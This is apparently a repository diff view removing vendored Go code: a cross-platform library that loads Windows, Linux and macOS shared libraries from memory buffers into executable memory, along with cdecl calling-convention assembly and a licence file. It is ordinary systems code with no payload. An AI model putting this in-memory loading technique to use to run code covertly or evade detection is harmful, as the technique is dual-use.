// We need to sign the written file otherwise dlopen will fail on MacOS 11 and up on Apple Silicon machines.
|
||||
// We're just using ad-hoc code signing, so we're not going to do anything fancy here.
|
||||
err = machoCodeSign(filename)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
pseudoHandle, err := cdecl.Call(dlopenProc,
|
||||
uintptr(unsafe.Pointer(&imagePath[0])), // image name
|
||||
uintptr(options)) // image options flags
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
if pseudoHandle == 0 {
|
||||
unix.Unlink(filename)
|
||||
return nil, errors.New("dlopen returned 0")
|
||||
}
|
||||
|
||||
// Unlink the temp file, we don't need it anymore
|
||||
err = unix.Unlink(tmpFile.Name())
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
exports = machoFile.Exports()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
lib := Library{
|
||||
BaseAddress: pseudoHandle, // library pseudo handle, do not use directly
|
||||
Exports: make(map[string]uint64),
|
||||
}
|
||||
|
||||
// Since the return value from dlopen is a pseudo handle
|
||||
// and not the address of the dylib in memory, we can't
|
||||
// really use it to resolve symbols directly. Instead, we
|
||||
// use dlsym to resolve all symbols ahead of time, that way
|
||||
// the end user can just use Library.Call.
|
||||
// The downside is that Library.BaseAddress is unusable and
|
||||
// any attempt to use it will result in a crash.
|
||||
for _, x := range exports {
|
||||
exportName := append([]byte(x.Name[1:]), 0x00) // strip the _
|
||||
exportPtr, err := cdecl.Call(dlSymProc,
|
||||
pseudoHandle,
|
||||
uintptr(unsafe.Pointer(&exportName[0])))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
lib.Exports[x.Name] = uint64(exportPtr)
|
||||
}
|
||||
return &lib, nil
|
||||
}
|
||||
|
||||
func readCString(pathFileOffset uint64) string {
|
||||
path := ""
|
||||
pathSize := 0
|
||||
for {
|
||||
b := (*byte)(unsafe.Pointer(uintptr(pathFileOffset + uint64(pathSize))))
|
||||
if *b == 0 {
|
||||
break
|
||||
}
|
||||
path += string(*b)
|
||||
pathSize++
|
||||
}
|
||||
return path
|
||||
}
|
||||
|
||||
func isPtrValid(p uintptr) bool {
|
||||
r1, _, err := unix.RawSyscall(unix.SYS_CHMOD, p, 0777, 0)
|
||||
if r1 != 0 && err != 2 {
|
||||
return false
|
||||
}
|
||||
return err == 2
|
||||
}
|
||||
|
||||
func findMacho(addr uintptr, increment uint32) (uintptr, error) {
|
||||
var (
|
||||
base uintptr
|
||||
header uint32
|
||||
err error = fmt.Errorf("could not find macho")
|
||||
)
|
||||
ptr := addr
|
||||
for {
|
||||
if isPtrValid(ptr) {
|
||||
header = *(*uint32)(unsafe.Pointer(ptr))
|
||||
if header == macho.Magic64 {
|
||||
base = ptr
|
||||
err = nil
|
||||
break
|
||||
}
|
||||
}
|
||||
ptr += uintptr(increment)
|
||||
}
|
||||
return base, err
|
||||
}
|
||||
|
||||
func findMachoPtr(addr uintptr) (uintptr, error) {
|
||||
var (
|
||||
base uintptr
|
||||
header uint32
|
||||
err error = fmt.Errorf("could not find macho")
|
||||
)
|
||||
idx := addr
|
||||
ptr := uintptr(*(*uint64)(unsafe.Pointer(idx)))
|
||||
for {
|
||||
if isPtrValid(ptr) {
|
||||
header = *(*uint32)(unsafe.Pointer(ptr))
|
||||
if header == macho.Magic64 {
|
||||
base = ptr
|
||||
err = nil
|
||||
break
|
||||
}
|
||||
}
|
||||
idx += 8
|
||||
ptr = uintptr(*(*uint64)(unsafe.Pointer(idx)))
|
||||
}
|
||||
return base, err
|
||||
}
|
||||
|
||||
// Call - call a function in a loaded library
|
||||
func (l *Library) Call(functionName string, args ...uintptr) (uintptr, error) {
|
||||
var (
|
||||
proc uintptr
|
||||
funcPtr uint64
|
||||
ok bool
|
||||
)
|
||||
if len(functionName) > 0 && functionName[0] != '_' {
|
||||
functionName = "_" + functionName
|
||||
} // OSX has underscore-prefixed exports
|
||||
|
||||
if !isSierra() {
|
||||
proc, ok = l.FindProc(functionName)
|
||||
} else {
|
||||
// Can't rely on FindProc for Sierra and up since
|
||||
// the BaseAddress is a pseudo handle to the lib,
|
||||
// not the actual address.
|
||||
funcPtr, ok = l.Exports[functionName]
|
||||
proc = uintptr(funcPtr)
|
||||
}
|
||||
if !ok {
|
||||
return 0, errors.New("Call did not find export " + functionName)
|
||||
}
|
||||
val, err := cdecl.Call(proc, args...)
|
||||
return val, err
|
||||
}
|
||||
-71
@@ -1,71 +0,0 @@
|
||||
package universal
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"errors"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/unix"
|
||||
|
||||
"github.com/Binject/debug/elf"
|
||||
"github.com/awgh/cppgo/asmcall/cdecl"
|
||||
)
|
||||
|
||||
// LoadLibraryImpl - loads a single library to memory, without trying to check or load required imports
|
||||
func LoadLibraryImpl(name string, image *[]byte) (*Library, error) {
|
||||
elflib, err := elf.NewFile(bytes.NewReader(*image))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if elflib.FileHeader.Type != elf.ET_DYN {
|
||||
return nil, errors.New("Cannot load non-dynamic libraries")
|
||||
}
|
||||
exports, err := elflib.Exports()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
pageSize := uint64(unix.Getpagesize())
|
||||
var memSize uint64
|
||||
|
||||
loads := make([]*elf.Prog, 0)
|
||||
for _, p := range elflib.Progs {
|
||||
if p.Type != elf.PT_LOAD || p.Filesz == 0 || p.Memsz == 0 {
|
||||
continue
|
||||
}
|
||||
highest := p.Memsz + p.Vaddr
|
||||
if highest > memSize {
|
||||
memSize = highest
|
||||
}
|
||||
loads = append(loads, p)
|
||||
}
|
||||
if memSize%pageSize != 0 { // round up to page size
|
||||
memSize = ((memSize / pageSize) * pageSize) + pageSize
|
||||
}
|
||||
baseBuf, err := unix.Mmap(-1, 0, int(memSize),
|
||||
unix.PROT_READ|unix.PROT_WRITE|unix.PROT_EXEC, unix.MAP_PRIVATE|unix.MAP_ANON)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for _, p := range loads {
|
||||
copy(baseBuf[p.Vaddr:], (*image)[p.Off:p.Off+p.Filesz])
|
||||
}
|
||||
ex := make(map[string]uint64)
|
||||
for _, x := range exports {
|
||||
ex[x.Name] = x.VirtualAddress
|
||||
}
|
||||
library := Library{
|
||||
BaseAddress: uintptr(unsafe.Pointer(&baseBuf[0])),
|
||||
Exports: ex,
|
||||
}
|
||||
return &library, nil
|
||||
}
|
||||
|
||||
// Call - call a function in a loaded library
|
||||
func (l *Library) Call(functionName string, args ...uintptr) (uintptr, error) {
|
||||
proc, ok := l.FindProc(functionName)
|
||||
if !ok {
|
||||
return 0, errors.New("Call did not find export " + functionName)
|
||||
}
|
||||
val, err := cdecl.Call(proc, args...)
|
||||
return val, err
|
||||
}
|
||||
-205
@@ -1,205 +0,0 @@
|
||||
package universal
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/binary"
|
||||
"errors"
|
||||
"os"
|
||||
"strconv"
|
||||
"syscall"
|
||||
|
||||
"unsafe"
|
||||
|
||||
"github.com/Binject/debug/pe"
|
||||
)
|
||||
|
||||
const (
|
||||
MEM_COMMIT = 0x001000
|
||||
MEM_RESERVE = 0x002000
|
||||
GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS = 0x00000004
|
||||
INFINITE = 0xFFFFFFFF
|
||||
)
|
||||
|
||||
// LoadLibraryImpl - loads a single library to memory, without trying to check or load required imports
|
||||
func LoadLibraryImpl(name string, image *[]byte) (*Library, error) {
|
||||
const PtrSize = 32 << uintptr(^uintptr(0)>>63) // are we on a 32bit or 64bit system?
|
||||
pelib, err := pe.NewFile(bytes.NewReader(*image))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
pe64 := pelib.Machine == pe.IMAGE_FILE_MACHINE_AMD64
|
||||
if pe64 && PtrSize != 64 {
|
||||
return nil, errors.New("Cannot load a 64bit DLL from a 32bit process")
|
||||
} else if !pe64 && PtrSize != 32 {
|
||||
return nil, errors.New("Cannot load a 32bit DLL from a 64bit process")
|
||||
}
|
||||
|
||||
var sizeOfImage uint32
|
||||
if pe64 {
|
||||
sizeOfImage = pelib.OptionalHeader.(*pe.OptionalHeader64).SizeOfImage
|
||||
} else {
|
||||
sizeOfImage = pelib.OptionalHeader.(*pe.OptionalHeader32).SizeOfImage
|
||||
}
|
||||
r, err := virtualAlloc(0, sizeOfImage, MEM_RESERVE, syscall.PAGE_READWRITE)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
dst, err := virtualAlloc(r, sizeOfImage, MEM_COMMIT, syscall.PAGE_EXECUTE_READWRITE)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
//perform base relocations
|
||||
pelib.Relocate(uint64(dst), image)
|
||||
|
||||
//write to memory
|
||||
CopySections(pelib, image, dst)
|
||||
|
||||
exports, err := pelib.Exports()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
lib := Library{
|
||||
BaseAddress: dst,
|
||||
Exports: make(map[string]uint64),
|
||||
}
|
||||
for _, x := range exports {
|
||||
lib.Exports[x.Name] = uint64(x.VirtualAddress)
|
||||
}
|
||||
|
||||
return &lib, nil
|
||||
}
|
||||
|
||||
// CopySections - writes the sections of a PE image to the given base address in memory
|
||||
func CopySections(pefile *pe.File, image *[]byte, loc uintptr) error {
|
||||
// Copy Headers
|
||||
var sizeOfHeaders uint32
|
||||
if pefile.Machine == pe.IMAGE_FILE_MACHINE_AMD64 {
|
||||
sizeOfHeaders = pefile.OptionalHeader.(*pe.OptionalHeader64).SizeOfHeaders
|
||||
} else {
|
||||
sizeOfHeaders = pefile.OptionalHeader.(*pe.OptionalHeader32).SizeOfHeaders
|
||||
}
|
||||
hbuf := (*[^uint32(0)]byte)(unsafe.Pointer(uintptr(loc)))
|
||||
for index := uint32(0); index < sizeOfHeaders; index++ {
|
||||
hbuf[index] = (*image)[index]
|
||||
}
|
||||
|
||||
// Copy Sections
|
||||
for _, section := range pefile.Sections {
|
||||
//fmt.Println("Writing:", fmt.Sprintf("%s %x %x", section.Name, loc, uint32(loc)+section.VirtualAddress))
|
||||
if section.Size == 0 {
|
||||
continue
|
||||
}
|
||||
d, err := section.Data()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
dataLen := uint32(len(d))
|
||||
dst := uint64(loc) + uint64(section.VirtualAddress)
|
||||
buf := (*[^uint32(0)]byte)(unsafe.Pointer(uintptr(dst)))
|
||||
for index := uint32(0); index < dataLen; index++ {
|
||||
buf[index] = d[index]
|
||||
}
|
||||
}
|
||||
|
||||
// Write symbol and string tables
|
||||
bbuf := bytes.NewBuffer(nil)
|
||||
binary.Write(bbuf, binary.LittleEndian, pefile.COFFSymbols)
|
||||
binary.Write(bbuf, binary.LittleEndian, pefile.StringTable)
|
||||
b := bbuf.Bytes()
|
||||
blen := uint32(len(b))
|
||||
for index := uint32(0); index < blen; index++ {
|
||||
hbuf[index+pefile.FileHeader.PointerToSymbolTable] = b[index]
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
var (
|
||||
kernel32 = syscall.MustLoadDLL("kernel32.dll")
|
||||
procVirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
|
||||
)
|
||||
|
||||
func virtualAlloc(addr uintptr, size, allocType, protect uint32) (uintptr, error) {
|
||||
r1, _, e1 := procVirtualAlloc.Call(
|
||||
addr,
|
||||
uintptr(size),
|
||||
uintptr(allocType),
|
||||
uintptr(protect))
|
||||
|
||||
if int(r1) == 0 {
|
||||
return r1, os.NewSyscallError("VirtualAlloc", e1)
|
||||
}
|
||||
return r1, nil
|
||||
}
|
||||
|
||||
// Call - call a function in a loaded library
|
||||
//
|
||||
// cribbed from: https://golang.org/src/Syscall/dll_windows.go
|
||||
//
|
||||
// On amd64, Call can pass and return floating-point values. To pass
|
||||
// an argument x with C type "float", use
|
||||
// uintptr(math.Float32bits(x)). To pass an argument with C type
|
||||
// "double", use uintptr(math.Float64bits(x)). Floating-point return
|
||||
// values are returned in r2. The return value for C type "float" is
|
||||
// math.Float32frombits(uint32(r2)). For C type "double", it is
|
||||
// math.Float64frombits(uint64(r2)).
|
||||
func (l *Library) Call(functionName string, args ...uintptr) (uintptr, error) {
|
||||
|
||||
proc, ok := l.FindProc(functionName)
|
||||
if !ok {
|
||||
return 0, errors.New("Call did not find export " + functionName)
|
||||
}
|
||||
var r uintptr
|
||||
var errno syscall.Errno
|
||||
var err error
|
||||
switch len(args) {
|
||||
case 0:
|
||||
r, _, errno = syscall.Syscall(proc, uintptr(len(args)), 0, 0, 0)
|
||||
case 1:
|
||||
r, _, errno = syscall.Syscall(proc, uintptr(len(args)), args[0], 0, 0)
|
||||
case 2:
|
||||
r, _, errno = syscall.Syscall(proc, uintptr(len(args)), args[0], args[1], 0)
|
||||
case 3:
|
||||
r, _, errno = syscall.Syscall(proc, uintptr(len(args)), args[0], args[1], args[2])
|
||||
case 4:
|
||||
r, _, errno = syscall.Syscall6(proc, uintptr(len(args)), args[0], args[1], args[2], args[3], 0, 0)
|
||||
case 5:
|
||||
r, _, errno = syscall.Syscall6(proc, uintptr(len(args)), args[0], args[1], args[2], args[3], args[4], 0)
|
||||
case 6:
|
||||
r, _, errno = syscall.Syscall6(proc, uintptr(len(args)), args[0], args[1], args[2], args[3], args[4], args[5])
|
||||
case 7:
|
||||
r, _, errno = syscall.Syscall9(proc, uintptr(len(args)), args[0], args[1], args[2], args[3], args[4], args[5], args[6], 0, 0)
|
||||
case 8:
|
||||
r, _, errno = syscall.Syscall9(proc, uintptr(len(args)), args[0], args[1], args[2], args[3], args[4], args[5], args[6], args[7], 0)
|
||||
case 9:
|
||||
r, _, errno = syscall.Syscall9(proc, uintptr(len(args)), args[0], args[1], args[2], args[3], args[4], args[5], args[6], args[7], args[8])
|
||||
case 10:
|
||||
r, _, errno = syscall.Syscall12(proc, uintptr(len(args)), args[0], args[1], args[2], args[3], args[4], args[5], args[6], args[7], args[8], args[9], 0, 0)
|
||||
case 11:
|
||||
r, _, errno = syscall.Syscall12(proc, uintptr(len(args)), args[0], args[1], args[2], args[3], args[4], args[5], args[6], args[7], args[8], args[9], args[10], 0)
|
||||
case 12:
|
||||
r, _, errno = syscall.Syscall12(proc, uintptr(len(args)), args[0], args[1], args[2], args[3], args[4], args[5], args[6], args[7], args[8], args[9], args[10], args[11])
|
||||
case 13:
|
||||
r, _, errno = syscall.Syscall15(proc, uintptr(len(args)), args[0], args[1], args[2], args[3], args[4], args[5], args[6], args[7], args[8], args[9], args[10], args[11], args[12], 0, 0)
|
||||
case 14:
|
||||
r, _, errno = syscall.Syscall15(proc, uintptr(len(args)), args[0], args[1], args[2], args[3], args[4], args[5], args[6], args[7], args[8], args[9], args[10], args[11], args[12], args[13], 0)
|
||||
case 15:
|
||||
r, _, errno = syscall.Syscall15(proc, uintptr(len(args)), args[0], args[1], args[2], args[3], args[4], args[5], args[6], args[7], args[8], args[9], args[10], args[11], args[12], args[13], args[14])
|
||||
case 16:
|
||||
r, _, errno = syscall.Syscall18(proc, uintptr(len(args)), args[0], args[1], args[2], args[3], args[4], args[5], args[6], args[7], args[8], args[9], args[10], args[11], args[12], args[13], args[14], args[15], 0, 0)
|
||||
case 17:
|
||||
r, _, errno = syscall.Syscall18(proc, uintptr(len(args)), args[0], args[1], args[2], args[3], args[4], args[5], args[6], args[7], args[8], args[9], args[10], args[11], args[12], args[13], args[14], args[15], args[16], 0)
|
||||
case 18:
|
||||
r, _, errno = syscall.Syscall18(proc, uintptr(len(args)), args[0], args[1], args[2], args[3], args[4], args[5], args[6], args[7], args[8], args[9], args[10], args[11], args[12], args[13], args[14], args[15], args[16], args[17])
|
||||
default:
|
||||
return 0, errors.New("Call " + functionName + " with too many arguments " + strconv.Itoa(len(args)) + ".")
|
||||
}
|
||||
if errno != 0 {
|
||||
errString := errno.Error()
|
||||
if errString != "" {
|
||||
err = errors.New(errString)
|
||||
}
|
||||
}
|
||||
return r, err
|
||||
}
|
||||
-91
@@ -1,91 +0,0 @@
|
||||
package universal
|
||||
|
||||
type DyldCacheHeader struct {
|
||||
Magic [16]byte
|
||||
MappingOffset uint32
|
||||
MappingCount uint32
|
||||
ImagesOffsetOld uint32
|
||||
ImagesCountOld uint32
|
||||
DyldBaseAddress uint64
|
||||
CodeSignatureOffset uint64
|
||||
CodeSignatureSize uint64
|
||||
SlideInfoOffsetUnused uint64
|
||||
SlideInfoSizeUnused uint64
|
||||
LocalSymbolsOffset uint64
|
||||
LocalSymbolsSize uint64
|
||||
UUID [16]byte
|
||||
CacheType uint64
|
||||
BranchPoolOffset uint32
|
||||
BranchPoolCount uint32
|
||||
AccelerateInfoAddr uint64
|
||||
AccelerateInfoSize uint64
|
||||
ImagesTextOffset uint64
|
||||
ImagesTextCount uint64
|
||||
PatchInfoAddr uint64
|
||||
PatchInfoSize uint64
|
||||
OtherImageGroupAddrUnused uint64
|
||||
OtherImageGroupSizeUnused uint64
|
||||
ProgClosuresAddr uint64
|
||||
ProgClosuresSize uint64
|
||||
ProgClosuresTrieAddr uint64
|
||||
ProgClosuresTrieSize uint64
|
||||
Platform uint32
|
||||
FormatVersion uint32
|
||||
SharedRegionStart uint64
|
||||
SharedRegionSize uint64
|
||||
MaxSlide uint64
|
||||
DylibsImageArrayAddr uint64
|
||||
DylibsImageArraySize uint64
|
||||
DylibsTrieAddr uint64
|
||||
DylibsTrieSize uint64
|
||||
OtherImageArrayAddr uint64
|
||||
OtherImageArraySize uint64
|
||||
OtherTrieAddr uint64
|
||||
OtherTrieSize uint64
|
||||
MappingWithSlideOffset uint32
|
||||
MappingWithSlideCount uint32
|
||||
DylibsPBLStateArrayAddrUnused uint64
|
||||
DylibsPBLSetAddr uint64
|
||||
ProgramsPBLSetPoolAddr uint64
|
||||
ProgramsPBLSetPoolSize uint64
|
||||
ProgramTrieAddr uint64
|
||||
ProgramTrieSize uint32
|
||||
OsVersion uint32
|
||||
AltPlatform uint32
|
||||
AltOsVersion uint32
|
||||
SwiftOptsOffset uint64
|
||||
SwiftOptsSize uint64
|
||||
SubCacheArrayOffset uint32
|
||||
SubCacheArrayCount uint32
|
||||
SymbolFileUUID [16]byte
|
||||
RosettaReadOnlyAddr uint64
|
||||
RosettaReadOnlySize uint64
|
||||
RosettaReadWriteAddr uint64
|
||||
RosettaReadWriteSize uint64
|
||||
ImagesOffset uint32
|
||||
ImagesCount uint32
|
||||
}
|
||||
|
||||
type DyldCacheMappingInfo struct {
|
||||
Address uint64
|
||||
Size uint64
|
||||
FileOffset uint64
|
||||
MaxProt uint32
|
||||
InitProt uint32
|
||||
}
|
||||
|
||||
type DyldCacheImageInfo struct {
|
||||
Address uint64
|
||||
ModTime uint64
|
||||
Inode uint64
|
||||
PathFileOffset uint32
|
||||
Pad uint32
|
||||
}
|
||||
|
||||
type SharedFileMapping struct {
|
||||
Address uint64
|
||||
Size uint64
|
||||
FileOffset uint64
|
||||
MaxProt uint32
|
||||
InitProt uint32
|
||||
}
|
||||
-47
@@ -1,47 +0,0 @@
|
||||
package universal
|
||||
|
||||
// Library - describes a loaded library
|
||||
type Library struct {
|
||||
Name string
|
||||
BaseAddress uintptr
|
||||
Exports map[string]uint64
|
||||
}
|
||||
|
||||
// Loader - keeps track of
|
||||
type Loader struct {
|
||||
Libraries []*Library
|
||||
}
|
||||
|
||||
// NewLoader - returns a new instance of a Loader
|
||||
func NewLoader() (*Loader, error) {
|
||||
return &Loader{}, nil
|
||||
}
|
||||
|
||||
// LoadLibrary - loads a library into this process from the given buffer
|
||||
func (l *Loader) LoadLibrary(name string, image *[]byte) (*Library, error) {
|
||||
|
||||
library, err := LoadLibraryImpl(name, image)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
library.Name = name
|
||||
l.Libraries = append(l.Libraries, library)
|
||||
return library, nil
|
||||
}
|
||||
|
||||
// FindProc - returns the address of the given function from the given library
|
||||
func (l *Loader) FindProc(libname string, funcname string) (uintptr, bool) {
|
||||
|
||||
for _, lib := range l.Libraries {
|
||||
if lib.Name == libname {
|
||||
return lib.FindProc(funcname)
|
||||
}
|
||||
}
|
||||
return 0, false
|
||||
}
|
||||
|
||||
// FindProc - returns the address of the given function in this library
|
||||
func (l *Library) FindProc(funcname string) (uintptr, bool) {
|
||||
v, ok := l.Exports[funcname]
|
||||
return l.BaseAddress + uintptr(v), ok
|
||||
}
|
||||
-19
@@ -1,19 +0,0 @@
|
||||
Copyright (c) 2017 Loren Segal
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
-35
@@ -1,35 +0,0 @@
|
||||
// Package cdecl implements method call ABI for the POSIX C/C++ calling
|
||||
// convention.
|
||||
//
|
||||
// Note that this package does not rely on cgo to implement calling, so a
|
||||
// compiler is not needed to call into C functions using this library.
|
||||
package cdecl
|
||||
|
||||
import (
|
||||
"errors"
|
||||
)
|
||||
|
||||
// Call calls a cdecl style function at memory address addr with the arguments
|
||||
// list a. The function result value is returned as a uintptr to be translated
|
||||
// by the caller. If the function cannot be called (usually due to an invalid
|
||||
// number of argument), an error is returned.
|
||||
func Call(addr uintptr, a ...uintptr) (uintptr, error) {
|
||||
switch l := len(a); l {
|
||||
case 0:
|
||||
return call0(addr), nil
|
||||
case 1:
|
||||
return call1(addr, a[0]), nil
|
||||
case 2:
|
||||
return call2(addr, a[0], a[1]), nil
|
||||
case 3:
|
||||
return call3(addr, a[0], a[1], a[2]), nil
|
||||
case 4:
|
||||
return call4(addr, a[0], a[1], a[2], a[3]), nil
|
||||
case 5:
|
||||
return call5(addr, a[0], a[1], a[2], a[3], a[4]), nil
|
||||
case 6:
|
||||
return call6(addr, a[0], a[1], a[2], a[3], a[4], a[5]), nil
|
||||
default:
|
||||
return 0, errors.New("too many arguments")
|
||||
}
|
||||
}
|
||||
-89
@@ -1,89 +0,0 @@
|
||||
TEXT ·call0(SB),4,$0-8
|
||||
MOVL addr+0(FP), AX
|
||||
CALL AX
|
||||
MOVL AX, ret+4(FP)
|
||||
RET
|
||||
|
||||
TEXT ·call1(SB),4,$4-12
|
||||
MOVL a+4(FP), BX
|
||||
MOVL BX, 0(SP)
|
||||
|
||||
MOVL addr+0(FP), AX
|
||||
CALL AX
|
||||
MOVL AX, ret+8(FP)
|
||||
RET
|
||||
|
||||
TEXT ·call2(SB),4,$8-16
|
||||
MOVL a+4(FP), BX
|
||||
MOVL BX, 0(SP)
|
||||
MOVL b+8(FP), BX
|
||||
MOVL BX, 4(SP)
|
||||
|
||||
MOVL addr+0(FP), AX
|
||||
CALL AX
|
||||
MOVL AX, ret+12(FP)
|
||||
RET
|
||||
|
||||
TEXT ·call3(SB),4,$12-20
|
||||
MOVL a+4(FP), BX
|
||||
MOVL BX, 0(SP)
|
||||
MOVL b+8(FP), BX
|
||||
MOVL BX, 4(SP)
|
||||
MOVL c+12(FP), BX
|
||||
MOVL BX, 8(SP)
|
||||
|
||||
MOVL addr+0(FP), AX
|
||||
CALL AX
|
||||
MOVL AX, ret+16(FP)
|
||||
RET
|
||||
|
||||
TEXT ·call4(SB),4,$16-24
|
||||
MOVL a+4(FP), BX
|
||||
MOVL BX, 0(SP)
|
||||
MOVL b+8(FP), BX
|
||||
MOVL BX, 4(SP)
|
||||
MOVL c+12(FP), BX
|
||||
MOVL BX, 8(SP)
|
||||
MOVL d+16(FP), BX
|
||||
MOVL BX, 12(SP)
|
||||
|
||||
MOVL addr+0(FP), AX
|
||||
CALL AX
|
||||
MOVL AX, ret+20(FP)
|
||||
RET
|
||||
|
||||
TEXT ·call5(SB),4,$20-28
|
||||
MOVL a+4(FP), BX
|
||||
MOVL BX, 0(SP)
|
||||
MOVL b+8(FP), BX
|
||||
MOVL BX, 4(SP)
|
||||
MOVL c+12(FP), BX
|
||||
MOVL BX, 8(SP)
|
||||
MOVL d+16(FP), BX
|
||||
MOVL BX, 12(SP)
|
||||
MOVL e+20(FP), BX
|
||||
MOVL BX, 16(SP)
|
||||
|
||||
MOVL addr+0(FP), AX
|
||||
CALL AX
|
||||
MOVL AX, ret+24(FP)
|
||||
RET
|
||||
|
||||
TEXT ·call6(SB),4,$24-32
|
||||
MOVL a+4(FP), BX
|
||||
MOVL BX, 0(SP)
|
||||
MOVL b+8(FP), BX
|
||||
MOVL BX, 4(SP)
|
||||
MOVL c+12(FP), BX
|
||||
MOVL BX, 8(SP)
|
||||
MOVL d+16(FP), BX
|
||||
MOVL BX, 12(SP)
|
||||
MOVL e+20(FP), BX
|
||||
MOVL BX, 16(SP)
|
||||
MOVL f+24(FP), BX
|
||||
MOVL BX, 20(SP)
|
||||
|
||||
MOVL addr+0(FP), AX
|
||||
CALL AX
|
||||
MOVL AX, ret+28(FP)
|
||||
RET
|
||||
-11
@@ -1,11 +0,0 @@
|
||||
// +build !windows
|
||||
|
||||
package cdecl
|
||||
|
||||
func call0(addr uintptr) uintptr
|
||||
func call1(addr uintptr, a uintptr) uintptr
|
||||
func call2(addr uintptr, a uintptr, b uintptr) uintptr
|
||||
func call3(addr uintptr, a uintptr, b uintptr, c uintptr) uintptr
|
||||
func call4(addr uintptr, a uintptr, b uintptr, c uintptr, d uintptr) uintptr
|
||||
func call5(addr uintptr, a uintptr, b uintptr, c uintptr, d uintptr, e uintptr) uintptr
|
||||
func call6(addr uintptr, a uintptr, b uintptr, c uintptr, d uintptr, e uintptr, f uintptr) uintptr
|
||||
-70
@@ -1,70 +0,0 @@
|
||||
// +build !windows
|
||||
|
||||
TEXT ·call0(SB),4,$0-16
|
||||
MOVQ addr+0(FP), AX
|
||||
CALL AX
|
||||
MOVQ AX, ret+8(FP)
|
||||
RET
|
||||
|
||||
TEXT ·call1(SB),4,$0-24
|
||||
MOVQ a+8(FP), DI
|
||||
|
||||
MOVQ addr+0(FP), AX
|
||||
CALL AX
|
||||
MOVQ AX, ret+16(FP)
|
||||
RET
|
||||
|
||||
TEXT ·call2(SB),4,$0-32
|
||||
MOVQ a+8(FP), DI
|
||||
MOVQ b+16(FP), SI
|
||||
|
||||
MOVQ addr+0(FP), AX
|
||||
CALL AX
|
||||
MOVQ AX, ret+24(FP)
|
||||
RET
|
||||
|
||||
TEXT ·call3(SB),4,$0-40
|
||||
MOVQ a+8(FP), DI
|
||||
MOVQ b+16(FP), SI
|
||||
MOVQ c+24(FP), DX
|
||||
|
||||
MOVQ addr+0(FP), AX
|
||||
CALL AX
|
||||
MOVQ AX, ret+32(FP)
|
||||
RET
|
||||
|
||||
TEXT ·call4(SB),4,$0-48
|
||||
MOVQ a+8(FP), DI
|
||||
MOVQ b+16(FP), SI
|
||||
MOVQ c+24(FP), DX
|
||||
MOVQ d+32(FP), CX
|
||||
|
||||
MOVQ addr+0(FP), AX
|
||||
CALL AX
|
||||
MOVQ AX, ret+40(FP)
|
||||
RET
|
||||
|
||||
TEXT ·call5(SB),4,$0-56
|
||||
MOVQ a+8(FP), DI
|
||||
MOVQ b+16(FP), SI
|
||||
MOVQ c+24(FP), DX
|
||||
MOVQ d+32(FP), CX
|
||||
MOVQ e+40(FP), R8
|
||||
|
||||
MOVQ addr+0(FP), AX
|
||||
CALL AX
|
||||
MOVQ AX, ret+48(FP)
|
||||
RET
|
||||
|
||||
TEXT ·call6(SB),4,$0-64
|
||||
MOVQ a+8(FP), DI
|
||||
MOVQ b+16(FP), SI
|
||||
MOVQ c+24(FP), DX
|
||||
MOVQ d+32(FP), CX
|
||||
MOVQ e+40(FP), R8
|
||||
MOVQ f+48(FP), R9
|
||||
|
||||
MOVQ addr+0(FP), AX
|
||||
CALL AX
|
||||
MOVQ AX, ret+56(FP)
|
||||
RET
|
||||
Loaded 100 of 572 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user